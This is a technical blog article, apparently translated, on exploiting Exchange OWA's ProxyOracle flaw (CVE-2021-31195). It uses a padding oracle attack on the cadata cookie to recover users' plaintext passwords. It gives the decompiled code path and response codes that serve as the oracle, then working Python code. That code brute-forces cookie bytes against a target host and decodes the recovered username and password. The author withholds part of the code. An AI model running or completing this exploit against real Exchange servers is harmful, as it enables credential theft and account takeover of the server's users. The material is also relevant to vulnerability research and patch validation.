0x00 Preface

---

The previous article 'ProxyOracle Exploitation Analysis 1—CVE-2021-31195' introduced the method to obtain user cookie information. This article will explain how to recover the user's plaintext password through a Padding Oracle Attack.

0x01 Introduction

---

This article will cover the following:

  • Implementation Approach
  • Partial Open Source Code

0x02 Implementation Approach

---

Prerequisites for implementing a Padding Oracle Attack:

1. Obtain the ciphertext and its corresponding IV (Initialization Vector)

2. Be able to trigger the decryption process of the ciphertext and know the decryption result

Applied to Exchange, the specific details are as follows:

(1) Obtain the ciphertext and the corresponding IV (Initialization Vector)

The cadata in the Cookie information corresponds to the ciphertext, and cadataIV corresponds to the IV

(2) Be able to trigger the decryption process of the ciphertext and know the decryption result

We can obtain the detailed decryption process by decompiling the DLL using dnSpy, as follows:

Use dnSpy to open the file C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

Navigate sequentially to Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication)

As shown in the figure below

Alt text

Obtain the method to trigger the ciphertext decryption process:

Access https:///owa, send a GET request packet, and ensure the Cookie includes cadata, cadataTTL, cadataKey, cadataIV, and cadataSig

Judgment of the ciphertext decryption result:

After sending the GET request packet, a 302 redirect occurs by default, and the response content indicates whether the decryption was successful

The decryption result can be determined by checking the definition of LogonReason

As shown in the figure below

Alt text

From this, it can be seen that 0 represents None, here it is a format error; 1 represents Logoff; 2 represents InvalidCredentials; 3 represents Timeout; 4 represents ChangePasswordLogoff

When attempting decryption, reason=2 indicates successful decryption

When reason=3, it indicates that the Cookie has expired, and Padding Oracle Attack cannot be performed at this time

Note:

The Cookie validity period for Exchange is 12 hours

0x03 Partial Open Source Code

---

1. Crack the 8th byte of the 0th block

The complete example code implemented in Python is as follows:

#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()


def checkFirstByte(url, flag):
url1 = "https://" + url + "/owa/"
cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="

cipher = base64.b64decode(cadata)
bs = 16
if len(cipher) % bs != 0:
raise ValueError("The length of `cipher` must be a multiple of `bs`")

cipher_blocks = []
for i in range(0, len(cipher), bs):
cipher_blocks.append(cipher[i: i + bs])

bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag])
bytecadata = bytetempdata + cipher_blocks[1]
base64cadata = base64.b64encode(bytecadata).decode()

cookie = {
"cadata": base64cadata,
"cadataTTL": cadataTTL,
"cadataKey": cadataKey,
"cadataIV": cadataIV,
"cadataSig": cadataSig,
}

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)

if response.status_code == 302 and "reason" in response.text:
pattern_name = re.compile(r"reason=(.*?)\">here")
name = pattern_name.findall(response.text)
print(name[0], end='')
if name[0] == "2":
print("\ndecrypt:")
print(bytecadata)
sys.exit(0)
else:
return False

if __name__ == "__main__":
for flag in range(0, 256):
checkFirstByte("192.168.1.1", flag)

Pay attention to the following details:

(1) Traverse from 0x00 to 0xFF

for i in range(0, 256):
i = bytes([i])
print(i)

(2) Ciphertext Block

Block length is 16

(3) Set allow_redirects=False when sending GET requests to disable redirection

2. From Padded Plaintext to Actual Plaintext

After completing the entire Padding Oracle Attack, we obtain a segment of padded plaintext

The complete example code for converting padded plaintext to actual plaintext is as follows:

#python3
import base64
import re

def unpad(s):
exe = re.findall("..", s.hex())
padding = int(exe[-1], 16)
exe = exe[::-1]

if padding == 0 or padding > 16:
return 0

for i in range(padding):
if int(exe[i], 16) != padding:
return 0
return s[: -ord(s[len(s) - 1 :])]


decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()

print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])

The code execution result is shown in the figure below

Alt text

The following details require attention:

(1) After obtaining the padded plaintext, PKCS7 must be used for data padding.

(2) The actual plaintext format is username:password.

Although the first two bytes of the plaintext cannot be decrypted, resulting in an incomplete display of the username, this does not cause any impact because the 'lgn' in the Cookie information we obtained displays the complete username.

0x04 Summary

---

This article introduces the method of restoring the user's plaintext password through a Padding Oracle Attack. The key code has been open-sourced, and the remaining parts are left for the reader to complete independently.